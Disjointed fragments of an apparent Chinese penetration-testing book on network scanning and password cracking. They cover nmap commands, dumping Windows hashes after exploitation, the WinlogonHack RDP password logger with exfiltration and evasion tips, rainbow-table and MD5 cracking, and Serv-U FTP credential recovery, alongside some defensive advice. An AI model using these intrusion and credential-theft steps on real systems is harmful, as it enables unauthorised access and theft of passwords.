    {"text": "4．扫描路由器 NMap内部维护了一份系统与设备的数据库（nmap-os-db），能够识别数千种不同的系统与设备，所以可用于扫描主流的路由器设备。"},
    {"text": "nmap -sS -P0 -sV -O <target> nmap -sS -P0 -A -v <target> • 列出开放了指定端口的主机列表，示例如下。 nmap -sT -p 80 -oG – 192.168.1.* | grep open • 在网络中寻找所有在线主机，命令为“nmap-sP 192.168.0.*”，也可以用命令“nmap-sP 192.168.0.0/24”指定子网（subnet）。"},
    {"text": "nmap -T4 -sP 192.168.2.0/24 &am;& egrep “00:00:00:00:00:00″ /proc/net/arp • 在局域网上扫描Conficker蠕虫病毒，示例如下。"},
    {"text": "nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254 • 扫描网络上的恶意接入点（rogue APs），示例如下。"},
    {"text": "nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout 2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m –max-scan-delay 1000 -oA wapscan 10.0.0.0/8 • 使用诱饵扫描方法扫描主机端口，示例如下。"},
    {"text": "nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2″) no PTR”;else print$3″ is “$2}’ | grep ‘(‘ • 显示网络上共有多少台Linux及Windows设备，示例如下。 sudo nmap -F -O 192.168.0.1-255 | grep “Running: ” > /tmp/os; echo “$(cat /tmp/os | grep Linux | wc -l) Linux device(s)”; echo “$(cat /tmp/os | grep Windows | wc -l) Window(s) device” 第2章 实战中常见的加密与解密 在Web渗透中经常会碰到数据被加密的情况，尤其是对用户密码，各个系统采用的密码加密算法不一样，如明文、MD5、SHA1、Base64等。"},
    {"text": "本章将系统地对这些加密方法和基础知识进行介绍，着重介绍与网络渗透有关的加密和解密方面的知识，并通过图文并茂的实际案例，使读者能很快上手。"},
    {"text": "本章主要内容 使用GetHashes获取Windows系统的Hash密码值 使用SAMInside获取系统密码 使用WinlogonHack获取系统密码 使用Ophcrack破解系统Hash密码 MD5加密与解密 Serv-U密码破解 Access数据库破解实战 巧用Cain破解MySQL数据库密码 MD5（Base64）加密与解密 Discuz！ 论坛密码记录及安全验证问题暴力破解研究 Windows Server 2003域控用户账号密码获取 使用fakesu记录root用户密码 暴力破解密码工具Hydra使用攻略 基于MD5算法变异加密实现 pcAnywhere账号和口令的破解 使用Hashcat破解Windows系统账号密码 2.1 使用GetHashes获取Windows系统的Hash密码值 对入侵者来说，获取Windows的口令是整个攻击过程中至关重要的一环，拥有系统原来用户的口令，将使内网渗透和监控更加容易。 Windows系统中的Hash密码值主要由LM-HASH值和NTLM-HASH值两部分构成，一旦入侵者获取了系统的Hash值，通过LC5及彩虹表等破解工具就可以很快地获取系统的密码。 本节主要探讨如何使用GetHashes获取系统的Hash值，并对Hash值的生成原理等知识进行介绍，最后还介绍了一些Hash破解方面的技巧。"},
    {"text": "2.1.1 Hash的基本知识 首先了解一下Hash的基本知识。 1．Hash的定义 Hash，一般翻译为“散列”，也有直接音译为“哈希”的，是指把任意长度的输入（又叫做预映射，Pre-Image），通过散列算法，变换成固定长度的输出，该输出值就是散列值。"},
    {"text": "这种转换是一种压缩映射，也就是说，散列值的空间通常远小于输入值的空间，不同的输入可能会散列成相同的输出，而不可能通过散列值唯一确定输入值。"},
    {"text": "简单地说，Hash就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。 2．Hash的应用 Hash主要用于信息安全领域中的加密算法，它把一些不同长度的信息转化成杂乱的128位编码，其值叫做Hash值。 可以说，Hash就是找到数据内容和数据存放地址之间的一种映射关系。"},
    {"text": "1．MD4 MD4（RFC 1320）由MIT的Ronald L. Rivest在1990年设计，“MD”是“Message Digest”的缩写，适合在32位字长的处理器上通过高速软件实现。"},
    {"text": "2.1.3 Windows下的Hash密码值 下面分别介绍Windows下的Hash密码格式和LM-Hash值生成原理。 1．Windows下的Hash密码格式 Windows下的Hash密码格式为“用户名称：RID:LM-Hash值：NT-Hash值”。"},
    {"text": "57454C434F4D45 -str_to_key()-> 56A25288347A348A 00000000000000 -str_to_key()-> 0000000000000000 这2组8字节数据作为DESKEY对魔术字符串“KGS! @#$%”进行标准DES加密，示例如下。 \"KGS!@#$%\" -> 4B47532140232425 56A25288347A348A -对 4B47532140232425 进行标准 DES 加密-> C23413A8A1E7665F 0000000000000000 -对 4B47532140232425 进行标准 DES 加密-> AAD3B435B51404EE 将加密后的2组数据简单拼接，就得到了最终的Hash-LM值。"},
    {"text": "LM Hash: C23413A8A1E7665FAAD3B435B51404EE 2.1.4 Windows下NTLM Hash的生成原理 IBM设计的LM Hash算法存在一些弱点，微软在保持向后兼容性的同时提出了自己的挑战响应机制，NTLM Hash应运而生。"},
    {"text": "将0x80之前的标准ASCII码转换成Unicode码，就是简单地从“0x??”变成“0x00??”。 此类标准ASCII串按Little-Endian转换成Unicode串，也就是简单地在原有的每字节之后添加“0x00”。"},
    {"text": "对获取的Unicode串进行标准MD4单向Hash，无论数据源有多少字节，MD4固定产生128 bit的Hash值。 将16字节数据310032003300340035003600进行标准MD4单向Hash，结果为32ED87BDB5FD C5E9CBA88547376818D4，也就得到了最后的NTLM Hash。 NTLM Hash: 32ED87BDB5FDC5E9CBA88547376818D4。"},
    {"text": "2．使用GetHashes获取系统Hash值实例 将GetHashes重命名为“getpw”，然后将其复制到欲获取Hash密码值的系统盘中，如图2-1所示，执行“getpw$local”命令，顺利获取其Hash密码值。"},
    {"text": "依次单击“文本”→“保存为”选项，将结果保存为一个新文件，然后使用UltraEdit编辑器进行编辑，仅保留Hash密码值部分，此后，使用LC5导入Hash密码值即可破解系统的密码值。"},
    {"text": "研究发现，由于Gethashes威力巨大，主要用在入侵过程中获取系统的Hash密码值，因此绝大多数杀毒软件已经将GetHashes软件加入病毒库，Castlecops网站提供的关于各大杀毒软件针对GetHashes所做的病毒库版本及更新结果如图2-2所示。 图2-2 大部分杀毒软件已经将GetHashes作为病毒处理 （3）InsidePro公司在其网站上还提供了一个Hash产生器，通过输入一些参数值，能够生成经过某种加密算法处理的口令密码值，有兴趣的读者可以尝试使用。"},
    {"text": "（4）Hash值在线查询。 在InsidePro网站还可以在线查询Hash密码值的原始明文口令。 将获取的经MD5加密的Hash值输入后，单击“Search”按钮，如果数据库中存在该值，则会给出查询结果。"},
    {"text": "2.1.6 使用GetHashes获取系统Hash值的技巧 使用GetHashes获取系统的Hash值时，一般是在获得了系统的部分或者全部控制权限之后，即新漏洞利用工具发布之后。 例如，当系统中存在MS0867漏洞时，可以通过MS08067漏洞利用工具获得存在漏洞计算机的一个反弹Shell，然后将GetHashes上传到系统中，执行“GetHashes $Local”命令，即可获取该系统的Hash密码值。"},
    {"text": "• 查看系统的名称及版本，以及是否开启了3389远程终端。 如果未开启3389终端，可否直接开启3389终端。 如果可以利用3389终端，则直接添加一个具有管理员权限的用户，然后使用该用户登录系统。"},
    {"text": "• 在线Hash密码值破解：http://hash.insidepro.com/ • 在线生成Hash密码值：http://www.insidepro.com/hashes.php?lang=eng • 免费字典下载：http://www.insidepro.com/eng/download.shtml • SAMInside：http://www.insidepro.com/download/saminside.zip • PasswordsPro ：http://www.insidepro.com/download/passwordspro.zip • Extreme GPU Bruteforcer：http://www.insidepro.com/download/egb.zip 2.2 使用SAMInside获取Windows系统密码 在通过SQL注入等方式获取网站的WebShell后，就可以利用各种系统漏洞进行提权，提权成功后，通过远程终端登录系统。"},
    {"text": "2.2.2 使用Scheduler导入本地用户的Hash值 直接运行SAMInside，如图2-3所示，单击第三个小图标，然后选择“Import Local Users via Scheduler”选项，将本地用户的Hash值导出。 虽然SAMInside还提供了从LSASS中导出本地用户的功能，但该方法在一些操作系统中容易出错，这两个方法均可使用。 图2-3 使用Scheduler导入本地用户的哈希值 2.2.3 查看导入的Hash值 使用SAMInside导入本地用户的Hash值，必须具有管理员权限。"},
    {"text": "在旧版本中，以“AA3D”开头的表示密码位数超过14位，如“simeon:1005:AAD3B435B51404EEAAD3B435B51404EE:5E9C2FAAE669F5D06F33014E33AC2CFC:::”，其密码就是超过14位的。"},
    {"text": "图2-4 查看导入的Hash值 2.2.4 导出系统用户的Hash值 依次单击“File”→“Export Users to PWDUMP File”选项，将获取系统用户的密码Hash值导出为一个文件，其导出文件的内容如图2-5所示，然后将该文件再次导入Ophcrack中进行破解。"},
    {"text": "感兴趣的朋友可以直接尝试使用SAMInside破解系统Hash值。 图2-5 导出系统用户的Hash值 2.2.5 设置SAMInside的破解方式 如图2-6所示，默认选择LM-Hashes attack破解方式。 如果用户的密码超过14位或LM-Hashes中显示的值全是0，则可以选择NT-Hashes attack方式进行破解。"},
    {"text": "图2-6 设置SAMInside的破解方式 如果选择采用字典破解，则需要在设置中选择“Options”选项，在“Dictionary attack”中设置字典，将本地字典文件添加到字典文件列表中，如图2-7所示，可以设置多个字典文件进行破解。"},
    {"text": "图2-8 运行字典破解本地用户密码 2.2.7 使用Ophcrack破解操作系统用户密码值 另一种快捷的破解用户密码的方式就是将导出的文件导入Ophcrack中进行破解。 运行Ophcrack，依次单击“Load”→“PWDUMP file”选项，选择前面使用SAMInside导出的文件，接着单击“Crack”按钮进行破解，如图2-9所示，一共花了2分7秒便将该系统的密码成功破解。"},
    {"text": "图2-9 使用Ophcrack破解操作系统用户的Hash密码值 2.3 使用WinlogonHack获取系统密码 在网络安全事件频发的今天，很多人都在抱怨：为什么我的系统被入侵了，我的主页被修改了？"},
    {"text": "1．远程终端技术APP 对大型企业来说，一般都部署有远程终端，微软的服务器操作系统Windows 2008 Server更是重点打造了远程终端。 远程终端技术APP是Windows Server 2008中新的远程应用演示方法，在一些远程连接参数上进行了调整，增加了新的功能，据说其性能也有较大提高。"},
    {"text": "这种管理在方向上不太固定，多数是发散式的，有的通过一台主机登录多台主机，有的通过多台主机登录一台主机，还有的可能出现交叉登录的情况。"},
    {"text": "黑客在入侵网络中的主机后，肯定会想办法收集网络内部或者与外部独立主机之间进行远程终端登录的用户名和密码，收集方法不外乎以下3种。 • 使用GetHashes、Pwdump等工具获取系统的Hash密码值，然后通过LC5及彩虹表进行破解，破解成功后得到系统密码，这些密码极有可能是远程终端的密码。"},
    {"text": "1．gina.dll与msgina.dll gina.dll在Windows NT/2000中的交互式登录支持由winlogon.exe调用gina.dll实现。 gina.dll的交互式界面为用户登录提供认证请求。 winlogon.exe与gina.dll进行交互，默认是msgina.dll（在system32目录下）。 微软提供了接口，让开发人员自己编写gina.dll来代替msgina.dll。 不知道出于什么原因，gina.dll在Windows XP及后续版本中不再出现，原来的gina.dll改为msgina.dll（“ms”表示微软）。 msgina.dll在Windows XP系统中默认为967 680字节（945KB），在Windows 2003中为1 180 672字节（1153KB）。"},
    {"text": "2．msgina.dll文件被损坏和修改将导致严重错误 在DLL知识库（http://www.dofile.com/dlllibrary/msgina/）中是这样描述的：msgina.dll是Windows登录认证策略相关模块，该模块用于完成所有用户的登录和验证功能，如果系统中的这个文件被修改或者被破坏，将导致系统无法使用3389端口进行登录。 如图2-10所示，这个系统的msgina.dll文件就被破坏了，从而导致用户无法远程登录3389终端服务器。 图2-10 msgina.dll被损坏或者被修改导致无法远程登录远程终端 3．WinlogonHack截取密码的原理 WinlogonHack通过挂钩系统中msgina.dll的WlxLoggedOutSAS函数记录登录的账户密码。"},
    {"text": "• Winlogon桌面：主要显示“Windows安全”等界面，如按下“Ctrl+Alt+Del”快捷键所看到的登录界面等。 • 应用程序桌面：我们平时见到的有“我的电脑”图标的界面。 • 屏幕保护桌面：屏幕保护显示界面。"},
    {"text": "默认情况下，gina.dll或者msgina.dll用于显示登录对话框，用户可以输入用户名和密码。 所以，要想获得用户名和密码，可以写一个新的gina.dll或者msgina.dll，其中提供接口调用msgina.dll的函数是WlxLoggedOutSAS。"},
    {"text": "1．执行install.bat安装脚本 一种方法是将WinlogonHack的安装程序文件hookmsgina.dll、install.bat、on.reg、readlog.bat复制到同一个文件夹下，然后在DOS提示符或GUI界面直接运行install.bat。"},
    {"text": "图2-11 远程安装WinlogonHack获取3389登录密码 2．查看密码记录 可以直接打开boot.dat文件查看，也可以运行readlog.bat脚本，然后将密码文件移动到当前目录查中查看。"},
    {"text": "使用“type boot.dat”命令可以看到记录的登录时间、用户、域名、密码及旧密码（出现两个密码主要用于用户更改了密码的情况）。 图2-12 查看密码记录boot.dat文件 3．卸载WinlogonHack 运行uninstall.bat文件即可自动卸载该程序。"},
    {"text": "1．定制化开发 图2-13 杀毒软件会自动查杀wminotify.dll文件 WinlogonHack的代码是开源的，因此，入侵者可以定制它，即在“lstrcat(LogPath, \"\\\\boot.dat\");”语句中将boot.dat换成任意一个文件。"},
    {"text": "入侵者还可以在此基础上增加一个邮件发送功能，将记录下来的3389远程终端用户名和密码发送到指定的邮箱，笔者在安全加固过程中就曾经碰到具有这种功能的3389密码截取木马。"},
    {"text": "2．对WinlogonHack软件做免杀处理 由于WinlogonHack在网络入侵中扮演了一个重要的辅助角色，所以一些杀毒软件会自动查杀wminotify.dll文件。"},
    {"text": "3．WinlogonHack在攻击中的应用 WinlogonHack主要用于截取3389登录密码，因此，在被入侵计算机上运行MSTSC后，如果发现MSTSC的计算机地址栏目中出现多个登录IP地址列表，如图2-14所示，那么在该计算机上就有安装WinlogonHack的必要，从而记录在服务器上管理员所登录的3389用户名和密码。 图2-14 获取3389登录地址列表 2.3.5 WinlogonHack防范方法探讨 WinlogonHack的防范要点如下。 • 在系统目录中查找“wminotify.dll”文件，如果这个文件存在，则说明系统中一定安装了WinlogonHack。"},
    {"text": "如果不能卸载，可以重启后再次卸载。 • 到注册表的HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ Winlogon\\Notify\\wminotify键值下查看，如果存在，则将其删除即可。 • 定制的WinlogonHack比较难根除，一个较好的办法是在系统安全状态下进行一次文件名称列表备份。"},
    {"text": "• 定期杀毒。 杀毒软件在一定程度上能够防范一些已知的病毒，因此，要勤杀毒、勤看日志，在确认系统被入侵后一定要仔细、彻底地进行系统的安全检测。"},
    {"text": "2.4 使用Ophcrack破解系统Hash密码 在密码破解上，平常用得最多的是LC5。 LC5的破解时间相对较长，一直以来笔者都沾沾自喜，感觉自己在密码破解方面还是不错的，一个不超过14位的系统密码一般不超过5分钟，绝大多数密码仅仅需要几十秒便可破解——这意味着，当一个系统存在漏洞时，攻击者可以在很短的时间内控制并渗透内部网络！"},
    {"text": "• 工具下载：http://sourceforge.net/project/showfiles.php?group_id=133599 • Ophcrack主页：http://ophcrack.sourceforge.net/ • 英文维克关于彩虹表的定义和解释：http://en.wikipedia.org/wiki/Rainbow_table • 国内对彩虹表的研究：http://www.antsight.com/zsl/rainbowcrack/ • 目前有关Ophcrack和彩虹表的相关资料 下载Ophcrack软件及其源代码，以及Ophcrack提供的彩虹表（http://ophcrack.sourceforge.net/tables.php），可以知道Ophcrack提供了3个免费的彩虹表和1个需付费购买的Windows XP Special扩展表。"},
    {"text": "1. Windows XP free small（380MB） 标识： SSTIC04-10k 破解成功率： 99.9% 字母数字表： 123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 该表由大小写字母和数字生成，大小为388MB，包含所有字母数字混合密码中99.9%的LanManager表。"},
    {"text": "由于LanManager Hash表将密码分成每份7个字符的2段，所以，可以用该表破解长度为1～14的密码。 由于LanManager Hash表是不区分大小写的，该表中800亿个组合就相当于12×10 11 （或者2 83 ）个密码，因此也被称为“字母数字表10K”。"},
    {"text": "2．Windows XP free fast（703MB） 标识： SSTIC04-5k 成功率： 99.9% 字母数字表： 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 字母数字表5KB，大小为703MB，包含所有字母数字组合的密码中99.9％的LanManager表。"},
    {"text": "”、“\"”、“＃”、“＄”、“％”、“&”、“'”、“（”、“）”、“＊”、“+”、“，”、“-”、“．”、“／”、“：”、“；"},
    {"text": "所以，通过破解软件分解后，实际上LM密码破解的上限就是7位，以今天的PC运算速度，这使短时间内暴力破解LM加密的密码成为可能（上限是2周）。"},
    {"text": "安装设置提供了3个下载选项，分别是Windows XP（380MB）、Windows XP（703MB）、Windows Vista（461MB）彩虹表，如图2-15所示，笔者在安装过程中选择后下载了数个小时，而实际上，彩虹表可以在程序安装完成后再下载，否则要等彩虹表下载完成后才能使用Ophcrack。 图2-15 安装时建议不下载彩虹表 2.4.3 使用Ophcrack 运行Ophcrack，该软件有“Load”、“Delete”、“Save”、“Tables”、“Crack”、“Help”及“Exit\" 7大主要模块，如图2-16所示：“Load”主要负责装载Hash或者SAM文件；"},
    {"text": "2.4.5 设置彩虹表 在Ophcrack主界面单击“Tables”按钮，会出现如图2-17所示的“Table Selection”界面，在默认状态下，所有的彩虹表都没有安装。"},
    {"text": "选中其中一个条目，如本例中的“Xp free fast”，然后单击“Install”按钮，系统默认自动打开Ophcrack的安装目录，本例将3个压缩文件解压到F盘，如图2-18所示，选择“Tables”目录，即可同时安装获取的其他2个彩虹表。 图2-17 选择彩虹表 图2-18 选择要安装的彩虹表 注意 （1）在Ophcrack中，其彩虹表的上级目录名称必须为“tables”，否则彩虹表无法成功安装。"},
    {"text": "2.4.7 开始破解 01 加载sam文件 单击“Load”按钮，选择“PWDUMP file”选项，如图2-20所示，一共有6个选项，第一个选项主要用于对单个Hash的破解，第二个选项用于对获取的Pwdump文件进行破解，第三个选项用于对加密的SAM文件进行破解，第四个和第五个选项主要用于审计或者破解本地和远程Hash密码。 图2-20 选择破解类型 02 查看Hash密码值 在本例中，选择一个已经Pwdump的文件，如果Pwdump系统的Hash密码没有错误，则会在Ophcrack主界面中正确显示。"},
    {"text": "如图2-21所示，在Ophcrack主界面中分别显示了“User”、“LM Hash”、“NT Hash”、“LM Pwd1”、“LM Pwd2”及“NT pwd”等信息。"},
    {"text": "图2-21 显示获取的Hash密码值 03 清理无用的Hash值 在本例中，“IUSR_XFFZD-R1”、“TWWM_XFZD-SER1”和“TsInternetUser”这3个用户是系统自带的，在口令破解中基本没有用处（除非有人对该账号进行了克隆），因此，可以选中它们，单击Ophcrack主界面上的“Delete”按钮，删除这3个无用的账号及笔者添加的“king$”账号，仅留下并破解管理员账号。"},
    {"text": "图2-22 清理无用的Hash密码值 04 执行破解 单击“Crack”按钮开始破解，很快就得出密码“www119”，其“LM Pwd1”值与“NT pwd”相同，破解密码的时间仅为37秒，如图2-23所示。"},
    {"text": "图2-23 破解系统密码成功 05 查看破解统计信息 在Ophcrack主界面上单击“Statistics”按钮，可以查看关于破解Hash密码值的普通和详细信息，如图2-24所示。 图2-24 查看所破解密码的有关统计信息 06 破解参数设置 单击“Preferences”选项卡，打开破解参数设置窗口，如图2-25所示，可以设置破解的线程、破解方式及是否隐藏用户名等。 图2-25 设置破解参数 2.4.8 彩虹表破解密码防范策略 通过彩虹表破解密码使入侵者可以很方便地获取系统的口令，从而“正常”登录系统，让管理员或者计算机的主人不太容易发现。"},
    {"text": "1．通过设置超过一定位数的密码加固口令安全 使用彩虹表破解14位以下的密码相对容易，对于普通入侵者来说仅有3个免费表，破解的强度相对低一些，因此可以通过增加密码设置的位数加固系统口令。 笔者建议设置超过32位的密码加固系统口令。 口令的设置技巧很多，这里仅举一例。 通过一句话来设置密码，如“2008-8月我国举办了奥运会，我去北京鸟巢观看了比赛，感觉很爽！ ”就可以设置为“2008-8ywgjblayh,wqbjlcgklbs,gjhs!”，其中，时间全取，标点符号全取，其他汉字取第一个字母，密码长度为33位。 如果想让密码再长一点，还可以增加取位数量。"},
    {"text": "03 选择“编辑”→“添加数值”选项。 04 设置数值名称为“LMCompatibilityLevel”，数值类型为“DWORD”，单击“确定”按钮。 05 双击新建的数据，并根据具体情况设置以下值。"},
    {"text": "• 0：发送LM和NTLM响应。 • 1：发送LM和NTLM响应。 • 2：仅发送NTLM响应。 • 3：仅发送NTLMv2响应（Windows 2000有效）。 • 4：仅发送NTLMv2响应，拒绝LM（Windows 2000有效）。 • 5：仅发送NTLMv2响应，拒绝LM和NTLM（Windows 2000有效）。"},
    {"text": "2.5 MD5加密与解密 本节介绍如何使用MD5Crack3及一些在线网站进行破解。 MD5Crack3是阿呆编写的一款MD5密码破解软件，其网站为http://www.adintr.com/subject/mdcrk/index.htm，目前已经发布了MD5Crack 4.0。 读者也可以访问笔者的blog（http://simeon.blog.51cto.com/18680/144558）下载MD5Crack3。 2.5.1 MD5加解密知识 MD5密文破解（解密）可以说是网络攻击中的一个必不可少的环节，是黑客工具中的一个重要辅助工具。 MD5解密主要用于网络攻击，在对网站等进行入侵的过程中，有可能获得管理员或者其他用户的账号和密码值（MD5加密后的值）。"},
    {"text": "如果采取了MD5加密，则可以通过MD5Crack3等软件进行破解。 由于王小云教授的MD5密码碰撞破解算法没有公布，因此目前MD5解密方式主要采取暴力破解，即软件通过算法生成字典，然后使用MD5函数加密该字典中的值形成密文，与需要破解的密文进行比较，如果相同，则认为破解成功。 目前，有很多网站提供MD5加密或者加密值查询，将加密后的MD5值输入网站，如果网站数据库中存在该MD5，则该值对应的MD5加密前的值就是密码。 2.5.2 通过cmd5网站生成MD5密码 在浏览器地址栏中输入“http://www.cmd5.com/”，在输入框中输入想要加密的原始密码，然后单击“MD5加密或解密”按钮，如图2-26所示，原始密码为“goodman88”，加密后的密码值如下。 图2-26 MD5加密 MD5(goodman88,32) = d5a8e0b115259023faa219f5b53ca522 MD5(goodman88,16) = 15259023faa219f5 作为实验数据，我们再生成一组生日的MD5密码，示例如下。 MD5(19801230,32) = 2540bb62336a8eb3ebc1e42ee44c8e3d MD5(19801230,16) = 336a8eb3ebc1e42e 2.5.3 通过cmd5网站破解MD5密码 在cmd5网站的输入框中输入加密后的32位MD5值“d5a8e0b115259023faa219f5b53ca522”，然后单击“md5加密或解密”按钮，如图2-27所示，未能成功破解。 图2-27 通过cmd5网站未能破解MD5密码 将第二个加密后的MD5值“2540bb62336a8eb3ebc1e42ee44c8e3d”放入cmd5网站进行破解，很快其结果就出来了，如图2-28所示。 图2-28 破解简单的数字密码 2.5.4 在线MD5破解网站收费破解高难度MD5密码值 一些在线网站提供的MD5密码破解功能只能破解已经收录的和一些简单的密码，对于稍微复杂一点的密码，都不容易破解。 而且，对一些稍微有点难度的MD5密码值，如果数据库中存在该值，在线网站会要求访问者付费破解，如图2-29所示，提示找到但是要求付费。 图2-29 要求付费才能查看MD5密码值 2.5.5 使用字典暴力破解MD5密码值 字典暴力破解是目前最常用的MD5密码值破解方法，下面详细介绍其步骤。"},
    {"text": "01 再次生成MD5密码值 在cmd5网站生成原密码“jimmychu246”的MD5密码值，结果如下。 MD5(jimmychu246,32) = 437f4fffb6b2e5aaca9fd1712b8ad282 MD5(jimmychu246,16) = b6b2e5aaca9fd171 直接运行MD5Crack4，界面如图2-30所示。 图2-30 md5crack4主界面 02 在MD5Crack4中验证MD5值 将需要破解的MD5值“437f4fffb6b2e5aaca9fd1712b8ad282”粘贴到“Single Cryptograph”（破解单个密文）输入框中，如图2-31所示，如果该MD5值是正确的，则会在该输入框下方显示黑色的“valid”（有效）字样，否则将显示灰色的“valid”字样。 图2-31 在md5crack4中验证MD5值 03 使用字典进行破解 在“Plaintext Setting”（字符设置）设置区单击选中选择“Dictionary”（字典）单选按钮，并在“No.1”、“No.2”及“No.3”设置框中选择3个不同的字典。 选择完毕，单击“Start”按钮，开始进行MD5破解，破解结束后会给出相应的提示，如图2-32所示。"},
    {"text": "图2-32 使用字典进行破解 04 使用字符集中的数字进行破解 将上面生成的MD5值“336a8eb3ebc1e42e”放入单一MD5密码破解输入框中，单击选中“Char Muster”（使用字符集）单选按钮后，可以勾选“Number”、“lowercase”、“majuscule”、“special char”及“custom”复选框进行破解。 在本例中使用数字进行破解，因此，要将“Min Length”（最小长度）的值设置为1，将“Max Length”（最大长度）的值设置为8，然后单击“开始”按钮，使用数字进行MD5破解，尝试破解密码位数为1～9999999的所有数字组合。"},
    {"text": "（5）在MD5Crack4中，可以设置软件显示的语言版本，有中文简体和英语两个版本，单击主界面中的“Options”（设置）按钮即可进行设置，如图2-34所示。"},
    {"text": "图2-34 设置MD5Crack4 2.5.6 一次破解多个密码 将需要破解的MD5密码全部存储到一个TXT文件中，每个密码独立占一行，然后，在MD5Crack4中单击选中“破解多个密文”单选按钮，选择刚才编辑的MD5密码文件，如图2-35所示，选择一种破解方式，本例选择使用数字字典进行破解，最后单击“开始”按钮开始破解。 图2-35 破解多个MD5密码值 在MD5Crack4右下方会显示破解结果，单击“日志”标签页可以查看MD5值校验等日志信息，单击“结果”标签页可以查看破解的结果。"},
    {"text": "图2-36 破解结果 本节介绍了使用MD5Cracker及通过网站对MD5值进行破解的方法。 破解MD5值时，可以先在一些MD5破解网站进行破解，如果未能破解，则可以在本地通过MD5Cracker进行破解。 2.5.7 MD5变异加密方法破解 网站采用MD5变异加密，即“password=md5(jiami(str))”，jiami(str)定义如下。"},
    {"text": "<% function jiami(str) mima=\"*#$A.J>?;&%*&$C#%!@#JH+-\\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX5454ADD EFW45485121WDQWD21DD5DWQ15QD1\" for i=1 to len(str) newstr=newstr&Mid(str,i,1) if i>len(mima) then newstr=newstr&Mid(mima,i-len(mima),1) else newstr=newstr&Mid(mima,i,1) end if next jiami=newstr end function %> 原始密码的加密原理为：假如初始密码为“123456”，先通过jiami函数对初始密码进行长度判断，获知长度为6，依次取一位，然后插入自定义的加密字符串，加密后密码变为“1#2$3A4.5J6>”。"},
    {"text": "普通的6位密码通过jiami算法重新加密后，将变为12位密码，通常的MD5暴力破解基本无法破解这样的密码。 了解该加密方式后，我们就可以针对该加密方式编写一段代码，将密码字典依次间隔插入“ *#$A.J>?;&%*&$C#%! @#JH+-\\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX5454ADDEFW 45485121WDQWD21DD5DWQ15QD1”字符串，然后进行密码比对，如果在加密表中找到相同的MD5值，即为破解。"},
    {"text": "第二个方法是在该网站插入记录用户登录密码、用户名的代码，并将每次用户登录的用户名和密码添加到指定的文件中，通过查看该文件即可获得或者登录密码。"},
    {"text": "2.6 Serv-U密码破解 Serv-U是一款流行的FTP服务器，很多Web服务器都是用Serv-U来提供FTP服务，供网站使用者或者设计者上传和下载文件的。 Serv-U在Web渗透中经常遇到，在权限等合适的情况下，可以通过WebShell直接获得服务器权限。"},
    {"text": "02 将第一步产生的字符串加上需要的密码一起进行MD5加密。 03 将第一步中随机产生的2个字符和第二步中产生的MD5编码的大写形式的字符组合在一起。"},
    {"text": "2.6.1 获取ServUDaemon.ini文件 Serv-U的安装目录一般位于C:\\program files\\Serv-U\\下，也可能位于其他位置，安装路径由程序安装者决定。 在获得WebShell权限的情况下，如果服务器上还安装了Serv-U，只要找到Serv-U的安装目录，将ServUDaemon.ini复制到本地留待后面进行破解即可，如图2-37所示。 图2-37 ServUDaemon.ini文件 2.6.2 查看ServUDaemon.ini文件 配置文件对大小写不敏感，行与行之间允许存在空行，主要分为[GLOBAL］全局变量段和[DOMAINS]域名配置段。"},
    {"text": "[GLOBAL] Version=5.0.0.0 #版本号，无须改动 RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKrowsP F//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722 #产品注册码，无须改动 ProcessID=1172 #注册号，无须改动 ReloadSettings=True #修改 ini 文件后必须加入此项，这时Serv-U会自动刷新配置文件并生效，此项随之消失。 如果再有修 改，则再次添加 [DOMAINS] Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0 #无须改动，新增加的域的IP地址及说明，格式 #Domain1= IP地址 | 端口 | 域显示名称 | 是否生效 | 是否显示 | 是否删除 #IP 地址为0.0.0.0 时，Serv-U自动适配系统所分配的 IP 地址 #当生效位置0，则此域禁用 #当显示位置0，此域不生效并且在控制面板不显示此项 #当删除位置0，则 ReloadSettings 设置为“Ture”后，即刷新后，自动删除此域名以下的所有内容 [Domain1] #无须改动，与上面添加的域对应，是此域内的一些公共设置 User1=admin|1|0 #必填，用户列表 #格式 #User 序号 = 用户名 | 是否生效 | 是否删除 #User 添加时必须按照序号排列：如果跳号，则跳号的不生效； 如果序号重复，则排列在后的无效 #是否生效置0，则此用户禁用 #是否删除置1，则刷新后删除用户信息，包括配置； 置2，则域下所有用户均删除 [USER=admin|1] #用户配置段，这些段的排列不分先后 TimeOut=600 Maintenance=System Note1=\"Administrator User\" Access1=g:\\|RWAMELCDP 在Serv-U密码破解中需要注意用户的配置，也就是ServUDaemon.ini文件中涉及用户的9个参数，一个用户对应一套参数配置，具体参数举例如下。"},
    {"text": "• [USER=zt828|1]：表示用户为zt828。 • password=mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37：表示FTP用户zt828的密码为“mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37”。 • HomeDir=d:\\wwwroot\\zt828：表示默认主目录为d:\\wwwroot\\zt828。"},
    {"text": "2.6.3 破解Serv-U密码 以上面的zt828用户配置为例，将密码“mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37”中的“mk”去掉，并将其复制到cmd5网站进行破解，如图2-38所示，密码可以被破解，但需要付费。"},
    {"text": "图2-38 通过cmd5网站查询MD5密码 图2-39 获取MD5破解后的密码 “7DC2A4B1A9A9E1F52A7F967FBCAA0A37”采用MD5加密，密码为“mkok918918”，去掉“mk”后即得到FTP的密码“ok918918”。 2.6.4 验证FTP 使用FTP的IP地址登录，输入用户名“zt828”和密码“ok918918”，即可成功登录FTP服务器。"},
    {"text": "关系数据库由一系列表组成，表又由一系列行和列组成，每一行是一个记录，每一列是一个字段，每个字段有一个字段名，字段名在一个表中不能重复。"},
